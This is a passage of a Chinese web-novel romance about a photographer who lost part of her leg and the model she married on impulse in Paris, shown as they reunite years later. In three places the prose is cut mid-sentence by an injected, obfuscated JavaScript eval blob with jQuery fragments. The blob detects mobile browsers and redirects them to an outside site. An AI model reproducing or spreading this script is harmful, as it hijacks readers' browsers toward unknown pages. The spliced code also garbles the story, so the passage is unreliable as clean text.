“我的搭讪方式很老套?” “什么?”邱一燃再次愣住。 她们隔着棵圣诞树相望。 而她和她的眼睛中间隔着摇摇晃晃的绿色枝桠,白色的雪,以及黄调的暖光。 女人仰头望她,“可我刚刚都还没有喊你……” 上翘的眼尾笑得无辜,却像调情, “你怎么就已经回头了呀?” 坦白来讲。 这种感受极为新奇,极为让人不知所措。就像是她被一瓶酒吸引得停住了脚步…… 而刚好就有人给她递来了开瓶器。 于是,原本今天异常局促、甚至奇怪到有些怪异的邱一燃。 在愣了半晌后。 尝到了自己唇边落到的雪的味道,好像是甜的,所以她不由自主地笑了。 等笑完了。 她才像是找回了原有的自己。 温吞吞地看向一直望着她笑的女人,呼出一口气,很诚恳地说, “有的,有酒可以喝。” 后来这一晚发生的许多事情,邱一燃都不太记得。 但她记得这个夜晚不太寻常。 她记得她真的把女人带去了Olivia的新家,也记得她们共饮完一瓶Olivia平时舍不得拿出来的酒。 还记得后来她们两个又摇摇晃晃地从Olivia家出来,在蒙马特高地吹雪风。 一边醒酒,一边对着这座陌生城市,用这个城市听不懂的中文,在风里迎着车灯大声高喊——我要征服巴黎…… 然后一起觉得丢人,一起笑得不行,弯着腰都直不起来。 再后来,她们去了一家在唱《妈妈咪呀》的酒吧里再次喝醉,在陌生人群中间挤来挤去,听到有人讲安纳西爱情桥的故事,又一起不知道坐上了哪辆车,真去了安纳西找爱情桥…… 在这之前,邱一燃完全不知道,原来两个人一个晚上可以做这么多事,可以说那么多无边无际的话—— 她们甚至讨论宇宙中有没有外星人。 结论是邱一燃觉得有,和她一起的女人也觉得有。 她还说她讲话有种混血的腔调。 而她说对,她就是混血,巴黎混假巴黎。 邱一燃不信这个世界上有假巴黎。 那个女人却仍旧笑眯着那双眼睛,很认真地说,有啊,你没去过怎么知道没有。 邱一燃问,那假巴黎在哪里。 女人摇头,说不知道,但既然人的心有真有假,那这个世界上总会有个假巴黎的吧。 …… 这个平安夜,她们做了很多事。 也真的做了。 最后,她们在同一张床上醒来。 邱一燃觉得灯光太亮,太刺眼睛,于是睡梦中跑到了地板上。 而那时女人枕在床沿边上,在她头顶哼着首歌,很轻很轻的鼻音。 很随意,淌在房间里像蜂蜜流过。 她的头发如海藻般,散落在她脸上,飘飘摇摇的,有很淡很舒服的橘子味道。 朦朦胧胧间。 脸上飘摇的头发离开了,弄得人很痒,却又觉得空,邱一燃睁眼—— 房间开着盏暖黄的、很暗的灯。 女人肩带细细一条,和背心叠在一块,显得特别性感,特别是从肩到下颌这块的线条,以及背肌中间凹陷下去的那一块。 女人背对着她,嘴里还是懒散而柔软地哼着那首老歌,掌心掐握住她左脚脚踝,指腹懒懒摩挲着她那处皮肤上的孔雀翎纹身,似乎是为此感到新奇。 低着长卷睫毛,突然没由来地问了一句,“你觉得两个人认识多久才可以结婚啊?” 其实邱一燃一向觉得,每个人都是疯狂的,只是有程度的大小分别而已。 她十四岁起就在巴黎游荡。 见过这么多人,也拍过那么多人,却从未遇见过一个这样的女人—— 分明说话直接,做事也直接,眸子里写的野心也足够直接。但…… 就是那么与众不同。 邱一燃坐起来,用手指轻轻拂过女人唇边那颗痣,触感很奇妙,令她思考了半晌,笑得很真诚,回答得也很真诚, “在我的选项里,这应该不是时间长短的问题,而是个程度问题。” “所以呢?”女人侧过脸,手掌心捧过她的侧脸,让她与她在黄色光源里对视,眉眼似乎带笑,“你觉得什么程度才可以?” 其实邱一燃一向觉得,每个人都是疯狂的,只是有程度的大小分别而已。 当然也包括她。 于是她们真的跑去结了婚,在认识的第十七个小时后。 而二十四小时后。 酒醒的邱一燃才恍然大悟—— 原来这是一场处心积虑的算计,从头到尾是为了利用。 7. 「黎无回」 很久以后的后来,她也问过黎无回,为什么见第一面就提出来结婚这种事? 黎无回当时感冒了。 晕晕沉沉间回答得很随意——因为那天和你在一起很开心啊。 纵然她语气十分敷衍,可能病严重了连自己在说什么都不知道,但邱一燃也从来没有怀疑过这个答案。 就像结婚那天。 最初她也没有怀疑过黎无回的别有用心。 当然,那个时候巴黎并不存在黎无回。而邱一燃,也还不知道这个女人的名字。 她们的自我介绍环节来得很晚。 是在她们跑到市政厅登记结婚填写表格时,才发生。 那时工作人员发的笔没了墨。 于是邱一燃拿出了自己随身携带的笔,很认真地填写着表格上的相关内容。 填到一半。 才发现女人一直在撑脸盯着她看,而面前的表格一字未动。 “怎么了?”邱一燃沉吟片刻。 想了想,很冷静地套上笔盖,将自己手中的笔放下, “没关系。来之前说好的,随时都可以反悔。” “没有。”日光苏醒,外面仍旧飘雪,市政厅人来人往。女人将她放下的笔重新拿起来,“只是没想到,现在还有随身带笔的人。” 原来是因为这样。 邱一燃不动声色地松了口气,“我也没想到,现在除了我以外,还会有随身带手帕的人。” 女人撑着脸看她,似乎是觉得她的应答很有趣, “看来我们对彼此还不是很了解?” “好像是。” “那你就先自我介绍一下吧。”女人狡黠地眨眨眼,十分不客气。 邱一燃却笑了——从结婚开始自我介绍,她没做过这么特别的事情。 她清了清嗓子,主动伸出一只手去,“你好,我叫邱一燃。” 女人因为她的话扭过脸,像是在憋笑,但又憋不住。 于是上翘眼尾的笑顿时像春天蔓延,等笑完了,又转过脸。 目光含笑地盯她。 轻轻握她伸出去的手,掌心和手指都很柔软,很刻意学她的语气, “你好,我叫黎春风。” 甚至松手之前,还用手指在她掌根处挠了挠。像挑衅,又像不经意。 但有些凉。 以至于邱一燃在那一刻觉得有些可惜,或许婚结不成,她也应该握久一些。 至少能让对方的手在握过自己的手之后变暖一些, “没关系,你也还是可以反悔——” 她还没说完。 就看见女人已经将笔盖取下,低头在那张空空如也的表格中写下第一处内容—— 邱一燃,她的配偶。 这对邱一燃来说,当然也是一种极为新奇的感受。 而女人似乎也对此和她感受类似,停笔之后,盯着表格中一栏许久,才轻启红唇, “邱一燃这个名字很好听,因为刚刚好,我喜欢连名字都像会愿意为爱孤注一掷的女人。” 邱一燃笑得不行。 她接过笔,在自己表格中一笔一画地填下另外一个名字。 收笔后,笑望着女人,说, “黎春风这个名字也很好听。刚刚好,我喜欢连名字听上去温暖可靠的女人。” 于是女人笑眯了那双仍旧洇着醉意的狐狸眼,说, “原来我们从名字就很相配。” 那时同性婚姻登记的流程很快。因为不被国内承认,于是她们提交的材料比异性婚姻要简洁许多,流程也很简单。 结束之后,已经是圣诞节的晚上了。整个巴黎五彩斑斓,塞纳河在迷蒙中晃到她们两个脸上。 邱一燃忽然意识到从此以后圣诞节就多了一层意义,是她和一个人的结婚纪念日。 记忆中她们这个圣诞节过得异常温暖,几乎没感觉到风雪的侵蚀和寒冷。 再醒来后,邱一燃仍然是躺在地上。 酒店房间里烧的篝火很暖,火光噼里啪啦地,映在她脸上,很舒服。 接连两天的疯狂,让她在这个圣诞节彻底过去之后,忽然不知道自己身处何处。 迷茫间张望—— 那么冷的天,她看见个穿吊带长裙的女人,光脚站在覆盆子红的地毯上,卷发飘摇,倚在窗台边上吹风。 绿纱窗帘和女人裙摆一同被风吹得飘起来,晃得视野模模糊糊,像生着绒绒毛边。 “黎……”邱一燃还记得这个女人的名字,也记得她们结了婚。 她觉得她并没有在醉酒状态下冲动做出这个决定。并且相信这个女人应该也同样如此。 倚在窗台边的女人没有回头,似乎并没有听到她的话,而是又轻轻哼起了那首不知曲调的歌。 缓而慢的旋律让邱一燃觉得好受不少。 意识慢慢回笼,她抚了抚自己的太阳穴,坐起来之后忽然发现床头柜上放着一本书—— 或者说是一本影集。 而封面是一张黑白摄影。 她清清楚楚记得—— 当时她坚持只用一个人和一束光来完成这场拍摄,于是耗费了不少时间。 而在是否选取这张照片当作封面的争执中,她和编辑据理力争最后终于通过。 《她的理想国》——这是她的第一部摄影集。 看着影集侧面的英文字母,以及封面右下角的署名,邱一燃越发觉得头昏脑胀起来—— 她记得这两天并没有跟女人提起过这件事,也没有跟这个女人提起过她是谁…… 那她的影集怎么会出现在这里? “醒啦?” 女人的声音忽然飘过来,没什么语气,像一阵令人捉摸不透的风, “桌上那杯蜂蜜水是给你准备的。” “好……”邱一燃发现自己喉咙艰涩。 她有些迷糊地去喝女人给自己倒的蜂蜜水,喝了半口忽然想起昨天她头晕时女人渡给她喝的水,似乎比现在甜得多。 她不是说非得让对方喂给自己喝。 只是她作为摄影师和这么多人打交道,能较为迅速地感知到不同人的状态变化。 不过…… 既然给她准备了蜂蜜水,应该是她太敏感了吧。 这么想着,邱一燃抿了口蜂蜜水,又下意识地抬头看向女人—— 对方仍是懒洋洋地倚在窗台。 像一只冷媚的猫。 脸上的表情没什么变化,愉悦而轻盈地盯着她,眉眼也仍然带笑。 “你不冷吗?”邱一燃问。 然后就在房间里搜寻她们丢在四处的外套。中途她差点被衣服绊倒。 女人扑哧一声笑出来,却并没有回答她的问题。 背靠在窗台,双手抱臂,慵懒而散漫地盯着她笑。 邱一燃抿着唇。 不知为何忽然觉得有些不对。 风刮过来,将女人身上的味道刮到她鼻尖——和她身上的气味如出一辙。 她捡起外套,温吞吞地走过去,给女人披上。 一个简单的动作,却将她心中的不对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14592128|155927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 劲放大—— 她自己的身高已经足够高,在白人女性模特中也毫不逊色。 而这个女人,竟然比她还要高上几厘米…… 让人不得不联想到她的职业。 “你是个模特?”犹豫间,邱一燃终于问出声。 她的语气故作轻松。 女人的语气却是真的轻松,“一个失业的模特。” 邱一燃微微怔住。 她承认那一刻“失业模特”几个字的确是让自己产生无端的猜测和联想。 但在这之后。 她第一时间是责怪自己的多想。正想开口安慰间—— 女人却侧头。 像昨天那样。 掌心捧过她的侧脸,忽然在她唇角落下一个吻。 接着,便动作很慢地与她分开,让她与她在篝火火光中对视。 那一瞬间,邱一燃在她的眼中发现某种征兆。只不过当时她没能发觉那到底是什么。后来她无数次回想…… 才发觉那可能是算计的气味初露端倪—— “大摄影师,你人这么好。” 女人用指腹摩挲她的耳垂。上翘的狐狸眼眨了眨,似诱哄,似调情, “应该会尽心尽力帮助你失业中的妻子吧?” 那个圣诞节过后,巴黎的雪很久都没有融。而从那天起,邱一燃在巨大的教训中彻底明白一个道理—— 要小心眼尾上翘的女人。因为她们通常很会骗人。 - “我不知道。”邱一燃说。 今天,二零二四年十一月二十一号,巴黎下了今年的第一场雪。 那个长着狐狸眼的女人再次找上门来,问她知不知道今天巴黎下了雪。 “原来今年巴黎的雪下得这么早。” 十一月二十一日。 或许早一点,晚一点,也和五年前圣诞节的那场雪并无不同。 只是她已经不在巴黎了。 邱一燃漠然看着车外忙忙碌碌的每个人,看清高铁站那硕大的“茫市”两个字,甚至那上面的红漆还掉了半个字。 但至少黎无回不该再来这里。 “黎无回。” 沉默许久,她发觉自己的声音有些干哑,“你该下车了。” 黎无回没有任何回应。 “黎无回?” 邱一燃看过去,才惊觉黎无回不是不回应,而是不能给出回应—— 靠在副驾驶的女人面色惨白,呼吸紧促,冷帽外的鬓发都已经被汗水沾湿,打成卷儿,紧贴在脸边,像是已经因为某种病症痛得昏过去。 身体瞬间快过于大脑反应。 邱一燃迅速解开安全带,踏出车外的那一刻腿发着软差点没摔倒。 寒风像刀子刮面,涌入残肢胀痛处。 她忍痛一瘸一拐地拐到另一边,打开车门,心急之下差点上手,但最后却也只敢推一推黎无回的肩, “黎无回,你怎么了?” 黎无回没有任何回应,甚至连唇色都迅速变得惨白。 焦急中邱一燃愣怔两秒。 之后猛然关上车门,再一瘸一拐地上车,将车加速开往医院。 车在满天雪尘中疾驰。 邱一燃从上车起就觉得呼吸困难,她死咬双唇,去看副驾驶上脸色惨白的黎无回。 她责怪自己没有早点发觉,后悔自己刚刚还下车浪费时间,质问自己为什么才像是被从三年停滞的时间中拽出来—— 为什么现在才想起,黎无回的老毛病犯起来时会那么痛苦。 8. 「黎无回」 黎无回痛经是老毛病了。 她的状况通常比常人要严重得多,吃止痛药有时没用有时又没用。 好几次,邱一燃在半夜紧赶慢赶送她去医院,都眼睁睁地在车上就看着她痛到昏厥过去。 可偏偏,就算到了医院,也仍然是要做一大堆检查。 那时,黎无回总是脸色白得像张被撕裂的白纸,每次都吐得像是要把身体内的所有内脏血块都掏空。 而邱一燃总是在慌乱中,浑身颤抖地扯着医生的白大褂,不讲礼貌,不平和,不得体地要求她们能尽快给她使用止痛剂。 而黎无回稍微好点了,也总会像之前那样,伸出掌心来捧她的脸。 让她与她对视。 像是安慰,像是反过来在缓和她的情绪。 那时黎无回总是会脸色苍白地笑起来,指腹刮过她泛红的眼圈, “痛的是我,你哭什么?” 而邱一燃总是控制不住眼泪,甚至会滴落到黎无回的掌心,她没办法与这样的黎无回对视。 于是她总是低着睫毛,答非所问,“因为你的手太凉了。” 后来邱一燃联系在国内的林满宜,拜托她寻着有名老中医开了方子。 然后又联系渠道找药材。 自己买了个中药锅,熬得自己天天出门一身中药味,想方设法去喂给不爱吃苦的黎无回。 再后来,黎无回这个老毛病总算好一些,直到邱一燃离开巴黎之前,都没闹到去医院的地步。 可如今…… 邱一燃怎么也想不到这种情况再次发生了。 她看着副驾驶上始终没有清醒、甚至是浑身开始发颤的黎无回,倒吸了口凉气。 她来不及去想更多,只得踩紧油门。 不到十分钟后,车在医院门口停得乱七八糟。 “你在这里等我,我去找医生。” 不知道黎无回现在到底有没有意识。 邱一燃扔下这句话。 用自己最快的速度打开车门,踩到地上时左腿传来一阵尖锐的胀痛。 她管不了太多。 拖着自己在此刻变成累赘的左腿,快步地踩着要融不融的雪,往医院里面走去。 雪天路滑。 她走不快,便用手撑扶着腿弯处,硬生生地拖着走,在雪地里留下一串延绵的痕迹。 医院门口人声熙攘,像离她很遥远的另外一个世界。 她气喘吁吁地在分诊处找来个护士,护士一听情况,连忙招呼其他人去拿担架。自己则连忙跟她出门去停车处, “患者什么情况?”护士的步子很快,几步就超过了邱一燃。 “晕过去了,喊她没回应,应该……”邱一燃几乎是费尽所有力气才跟上,却还是落后一段路,“应该是……痛经。” “痛经?”护士不一会就走到车前,已经是她追不上的距离,“你确定吗?” “我……”邱一燃艰难地跟上去。 看到护士打开车门。 黎无回惨白病态的脸又从中敞出来。 “我好像……”邱一燃愣住,“我没办法确定。” “小姐,小姐,你听得见说话吗?”护士没注意到她的停滞,俯身拍着黎无回的肩,“听得见给个回应!” 黎无回被拍了几下都没有反应。 整个人像是痛得极其厉害了,拧紧眉心,冷汗几近湿了满张脸。 邱一燃焦急地走过去, “黎无回,我们到医院了,你醒醒——” “痛。”黎无回终于有了反应,她费力地吐出一口气,像一滩正在融化的雪,蜷缩在车座上,将手掌缓缓伸出来,“痛……” “她说痛。” 邱一燃像抓住了救命稻草那般。 慌乱间抓住黎无回的掌心,冰凉刺骨。回头冲着护士,无措地说,“她说她很痛。” “担架还没来。”护士回头看了眼,然后很冷静很残忍地对邱一燃发布号令, “来,你个子高,和她应该差不多,先把她背进去!” 却像劈天盖地的一刀。 足以让邱一燃怔在原地动弹不得。 “愣着干嘛?”护士催促她。 “我……” 听到护士焦急的语气,邱一燃费力地往前挪动步子,“好。” 她左腿残肢往前动了一下。 而假肢却没能被她拖动,像被人用力锤进原地的钉子。 左手仍然被黎无回无意识地握得很紧。 她空洞而茫然地停住脚步。 而偏偏,这时原本一直昏睡不醒的黎无回,却又往座位里蜷缩了点。 她失去血色的唇轻轻分开,很模糊地、断断续续地说了什么。 却没能说完。 因为迟迟不来的担架终于出现,还带着一阵乱七八糟的脚步声。 “来!让一下!” 车门边瞬间变得拥挤不堪。 下一秒,邱一燃就被身后涌过来的几个人挤开了。 黎无回的手猛然从她手中滑落。 她下意识抓了一下没能抓住。 自己反而踉跄几步,扶着车边才勉强站稳。 只得是滞缓地站在原地,看着黎无回被抬上担架。 眼睁睁地目视这群脚步凌乱而有力的人,将她飞速推离她身边。 不知道是离得近,还是因为她的五感在这个雪天忽然变得极为优越。 以至于她完全能看清黎无回在被抬上担架时满脸冷汗,也能听清黎无回紧闭双眼时说的那句话—— “邱一燃……我好痛。” 雪不知道什么时候又落下来,飘飘摇摇的,像碎刀片,落在邱一燃的鼻尖。 她在雪地里独自站了会。 摸了摸鼻尖上快融化的雪,一瘸一拐地拖着胀痛的残肢跟上去。 过惯了独来独往的日子,她都差点忘了这件最重要的事—— 她这条残肢,总是在黎无回面前时,才最显窘迫。 - 黎无回在疼痛中梦见邱一燃。 三年前邱一燃离开那天,她时隔两年半再次痛经进了医院,后来她就总在疼痛时梦见邱一燃。 这次梦见的是五年前的平安夜,她们初次见面后—— 壁炉里的篝火不动声色地燃烧,圣诞灯扑闪扑闪地眨眼。 邱一燃穿得很温暖,吹的萨克斯曲调很温暖,看向她时笑起来的眼睛也很温暖。 黎无回微醺,软绵绵地瘫在沙发上,看邱一燃和她那位名叫Olivia的朋友吹萨克斯。 一曲完毕。 邱一燃有些含蓄地看了她一眼,然后放下手中萨克斯。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14592129|155927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 之后洗了手,坐过来,手里拿了个苹果在削皮,像个展露才艺过后又变得拘谨的孩子,“好了,演奏之前说好我们不要谈论这件事。” “很棒的事情为什么不能谈论?”黎无回笑眯着眼,不承认自己有提前跟她说好,“这是你的爱好吗?” “不。”Olivia在一旁搭话,“这是她的职业。” “她瞎说的。”邱一燃似乎很不认同,皱了皱脸,却又很认真地回答她的问题,“我的爱好不是这个。” “那你的爱好是什么?” “爱好……”邱一燃低头削苹果的动作没有停下来,似乎是在认真思考这件事。 过不久,她削完一条完整的皮,扔垃圾的时候不小心将苹果皮掉到鞋尖。 她捡起来,将苹果皮扔进垃圾桶,然后像是突然才想起来,“啊——” 邱一燃孩子气地用鞋尖踩了踩地面。 然后将手中削完的苹果递给她,冲着她的笑也很孩子气, “我半个月跑一次马拉松,这算是爱好吗?” ——然后黎无回从梦中惊醒了。 那一刻她心跳很快,像是整颗心脏被挖出去过又重新塞进来似的。 汗液从额头和腰背滑落下来。 她才意识到自己出了那么多汗,像是在梦中被彻底烤化。 那她这是在哪儿? 黎无回打量着周围陌生的环境,看起来像是在医院的急诊病房,但整个病房左右都没有人。 她口干舌燥想喝水。 动了动手发现自己在打点滴,然后她就看见邱一燃—— 似乎是怕打扰她休息,病房的灯都没全打开,只开了一盏,灯光便显得昏暗而闭塞。 而邱一燃,就侧靠在这一排病床对面的墙边,像是睡着了,身前摆着一大袋药,以及几瓶被用过的外用伤药和棉签。 邱一燃佝偻着单薄的腰,左手搭在小腿上,裤腿卷起来。 像是刚刚才擦过药在晾干。 病房空无一人,光线很暗。 黎无回看了邱一燃许久才移开视线。 她想给邱一燃倒杯水,却还是在勉强撑着下床之后,就看见了—— 被邱一燃拆下来的那截假肢。 很细,很硬,冷冰冰地靠在墙面上,像一截从树上砍落下来的枝干。 人怎么能依靠这种东西来支撑整个身体?想必邱一燃也是痛得不行了,才会在外面拆开。 她说她爱跑马拉松。 ——黎无回没办法不想起这件事。 而就在这时,身后忽然传来惺忪的一句, “你醒了?” 黎无回下意识回头。 那一瞬间邱一燃的脸隐在黑暗中,于是她第一时间看见的—— 便是邱一燃那截像被光线分割的小腿,裤管是空的,像被吞噬的黑洞。 而邱一燃在光影中凝视着她。 和以前一样。 什么都没有做,什么都没有说,只是坐在那里,静静地看着她。 或许甚至什么都没有想。 就足以让黎无回的视线无法回避,死寂而麻木地被钉在十字架上。 然后轻而易举地想起那个血淋淋的、并且永远无法磨灭的事实—— 那场让她截掉小腿的意外,是因为她才发生的。 9. 「黎无回」 黎无回久久没有回话。 她静静地站在那里。 像被钉在树干上灼烧的鬼魂,对外却总是轻描淡写,仿佛她从来都未为此感觉到痛苦。 邱一燃垂下眼。 目光在自己空落落的裤管上停留几秒。 她不避开黎无回。 和从前一样,拿起一旁放着的假肢,将接收腔裹住残肢处红肿的褶皱。 冷冰冰的假肢被她完整地穿戴上去。 将裤腿放下。 将裤脚边沿都理得整整齐齐。 然后再抬头直视着黎无回,重复了一遍,“你醒了?” 黎无回仿佛这才如梦初醒。 目光瞬间移开。 整个人再次隐入晦涩光影中,恍惚间在周围晃了两圈,“我……” 声音听得出来是疼痛过后的干涩。 “你好些了吗?”邱一燃问。 尽管光看黎无回的表情和状态,她就已经知道对方的疼痛应该已经是被止住。 邱一燃稍微放下了心。 过去给黎无回倒了杯水,“你的东西都放在旁边的外套里。” 说着,她就想绕过去帮黎无回拿。 “不用。”黎无回脱口而出。 邱一燃不得不停住脚步。 黎无回沉默地张了张唇。 推着吊瓶支架走过去,拿了外套,目光却不由自主地停在她的腿上, “你呢?你好些了吗?” 没想到黎无回会问。邱一燃怔了片刻,坐回去,靠在墙边笑了笑, “刚刚你睡觉的时候我也去挂了个号,找我之前的医生,给开了药。挺好的。” 她说的是真话。 黎无回也听得出来是真话,点了点头,没有去看她的腿了,“我是不是睡了很久?” “不久,两三个小时。”邱一燃回答。 然而下一秒她就看见黎无回忽然脸色一变,连忙去问,“怎么了?” 黎无回并没有马上回答她。 而是迅速从外套口袋里掏出了手机,屏幕蓝光映在苍白的脸上,看得出来其中信息繁杂。 但黎无回只花了不到一分钟的时间,就接收并处理好了所有信息。 接着,看到自己手上碍事的吊针,便十分果断地喊护士过来给自己拔了针。 哪怕护士劝她那瓶水刚吊上去,她也直接拒绝,之后戴上冷帽穿上外套,仓促地拿着东西准备往外走。 而当这一切都处理完之后。她才抬头看见邱一燃—— 像是这才反应过来邱一燃在似的。顿了两秒,说,“我得走了。” 邱一燃看着黎无回还没恢复血色的唇,看着黎无回匆忙之下裹进去的糟乱卷发,看着黎无回病态中仍然美丽慵倦的脸…… 她说不清自己是什么心情。 或许看到刚刚的场面,她是该责怪黎无回将自己好不容易替她养回来的身体再次搞坏,也该劝解黎无回把身体放在第一位。 但是,但是。 没人比她更能明白,黎无回当初是多么想要抓住这一切。 “我送你。” 所以邱一燃只是这样说,“现在不好打车。” 黎无回对此没有提出反对。 大概她们两个在这个方面从来都默契,早就决定永远以这件事为重。 从医院到高铁站的路要十五分钟以上。黎无回重买了张高铁票,时间倒是不急。 上了车,黎无回突然想起来一件事,“今天的费用我会补给你。” “好。” “你想通过平台还是其他方式?” “平台吧。” 不知残肢是不是被磨得厉害,连神经都连着痛,邱一燃没忍住揉了揉腿。 然后黎无回突然说了一句,“脱下来吧。” 邱一燃怔住。 她以为黎无回从上车起就双眼紧闭,“什么?” 黎无回缓缓睁开眼。 透过车窗上倒映的影子望着她,“不是不舒服吗?” 邱一燃沉默。 她没办法否认这件事,“不用,反正很快就到了。” 或许是连自己都被病痛折磨得狼狈不堪。黎无回没有嘲笑她的嘴硬,“还是经常不舒服吗?” “没有。”邱一燃否认。 然后就从车窗倒影中瞥见黎无回明显像是不信的眼神。补了一句, “而且这么久过去,都习惯了。” “习惯?” 黎无回望着车窗上邱一燃的倒影。 她不知道邱一燃究竟是怎么习惯的,如果可以,她希望邱一燃也能教一教自己。 然而邱一燃并没有看她。 于是她再次闭上眼睛,停了片刻,问,“你是怎么到这里来的?” 怎么来的? 被问到这个问题,邱一燃自己也恍惚。她看着车外一晃而过的街景,两年多时间,那么小的一座城市,已经从陌生变得像是会在这里死去。 “不知道。”邱一燃说,“当时随便走走,就到这里来了。” “那为什么要留下来?”黎无回追问,像是十分不理解她的选择,“就算当初你不愿意留在巴黎,为什么不回苏州?” “不知道。”其实留在这里是邱一燃也从来没想过的事情, “或许是因为这里没有人认识我吧。” “没有人认识是那么好的事情吗?”黎无回的声音从侧旁飘过来,从那些廉价而粗糙的街景中掠过,很轻很轻, “我没想到这个世界上真的有个假巴黎。” “我也没想过。” 邱一燃当然也知道,初遇那天,黎无回和她说的基本都是假话。 黎无回既不相信这个世界上有外星人,也不相信安纳西爱情桥的故事。 不管是带她说我要征服巴黎,还是带她去酒吧听《妈妈咪呀》……那天的相遇,可能都只是个为她量身定做的剧本。 但她没想到—— 如今她们两个,竟然又真的在当初对方随口一说的地方重逢。 “那你又是怎么来的?”邱一燃问,她想不通黎无回究竟到底是怎么凭空出现。 “不知道。”对此,黎无回给出的答案与她类似,“路过吧。” 邱一燃点点头。 她相信黎无回说的是真话。既然她有可能是因为路过来到这里,那黎无回也有可能。 也许世上就是有那么巧的事情。 邱一燃这样想着。 遇到下个红灯时她注意到黎无回又许久没有动静,转头去查看黎无回的情况—— 对方从上车起就维持同个姿势。 像是在补眠。但脸色看起来确实是恢复了些,也没再像刚刚那样冒出大量冷汗。 邱一燃松了口气。 但她又瞥见黎无回手背上的两条白色胶带,边角都起开。 而女人手背的毛细血管从薄得像纸的皮肤中透出,看得出来是明显被冷到。 邱一燃不由自主地多看了两眼。 而黎无回像是发现了她的视线,忽然睁开了眼。 恰好红灯停了。 邱一燃迅速避开视线,停了两秒,却又伸手去将车内空调温度调高。 余光中,她看见黎无回直接将那两条胶带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14592130|155927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从手背上撕开了。 撕的时候也没有任何表情变化,仿佛手背上被扎针弄出的青紫不是自己的皮肤。 于是邱一燃忍不住问出口,“你很忙吗?” 忙到连多吊一瓶水的时间、多睡半个钟头的时间都没有? 黎无回似乎有些疲累。 但听到她的话反而像是被提醒,拿出手机查看情况, “我明天有个登山服广告要拍,在瑞士,今天晚上必须赶上飞机。” “在雪山?” “嗯,”黎无回貌似体温很低,手指都冻得发白,手背的青色血管也很明显。 但她还是一边敲着手机,一边说,“所有人都在等我,我不可能不去。” 这么冷去雪山? 手上还带着止痛剂的针孔、刚刚还痛经痛到晕厥过去……现在去雪山? 穿这么少去雪山? 邱一燃几乎就将这些话脱口而出。 而那时正好遇上一声剧烈的鸣笛,将她从中惊醒—— 于是她不得不接受她们不再并肩的事实,自己也无法再轻而易举说这些越矩的话。 “后座是医生给你开的药。” 邱一燃指节用力扣紧方向盘,“等下别忘了拿。” 黎无回因为手机里的信息蹙眉,不知道有没有听到邱一燃的话。 过了很久,才说了声“好”。 后续的路程,邱一燃没再说话。 到站后,也没有要再下车送人的意思,只是没什么表情地盯着车的正前方。 黎无回目光在她侧脸上停留片刻,又在她蜷缩在车座前的腿上停留一会。 她不由自主地想起从前—— 她们每次分开,邱一燃都会在车窗旁搭着手,目光含笑地注视着她远去,偶尔还会解开安全带下车,给她一个很温暖的拥抱。 她记得在冬季这个人身上总是很温暖,有种篝火般的气息。 再看下去就赶不上高铁。黎无回不得不收回目光。 推开车门下了车,路边人影憧憧,寒风刮过来。 黎无回拉下冷帽。 她去后座取医生开的那一大袋药,打开车门那一瞬间却愣了神—— 因为她以为的那一大袋子药里,还有两包艾草贴和暖宝宝。 “可能没什么用,该吃止痛药还是得吃。” 雪风下落,落在黎无回的耳朵上。而邱一燃的声音从前方飘过来, “但天气凉,你……你的手也那么凉,总归是不能就这么让它一直凉着。” 车厢内光影灰暗,风不要命地往里吹着。黎无回低着脸,呼吸都轻得几乎听不见。 邱一燃走后,她总是任性对待自己被邱一燃养好的身体。 也许那时是有想过这是对邱一燃的报复,可后来过去那么久,她也就习惯了。 习惯。 她总以为习惯就是这个意思,习惯不好,习惯疼痛,习惯没有邱一燃。 而现在邱一燃一出现。 却又不费吹灰之力打破她的这种习惯,让她在这一刻恍然大悟—— 原来习惯曾经也是这么好的东西。 “知道了。” 雪从背后被吹落到睫毛,润湿了眼眶。大衣口袋里的手机叫嚣不停,催促她赶快离开这里。黎无回拎起了那一大袋,关上车门。 “黎无回。” 她转身,却又听见身后有车门响,是邱一燃匆忙奔下了车,在大雪纷飞中往她这边奔了几步,又勉强停下,在她身后喊住了她。 雪夜中,语气像怅然,却又像心存侥幸, “你……应该过得很好吧?” 10. 「黎无回」 黎无回没有回答。 她甚至没有转身,像是没有听到。 又像只是在雪中停留片刻,将一场空留给邱一燃,当作回应。 今夜寒风尤其刺骨。邱一燃目送黎无回走进高铁站,在视野中缩成一个小点。 直到白色雪花飘到眼睛里,她彻底找不到那个小点,才驱车离开。 路过茫市最高那栋楼时。 她再次看见那个横跨二十层楼的广告位在反复播映。 这次是个珠宝广告。 但仍旧是黎无回—— 自来卷卷发被拉成黑直,广告屏中的女人笑容满面,低着那张慵懒媚态的脸,红唇吻过指间珠宝。 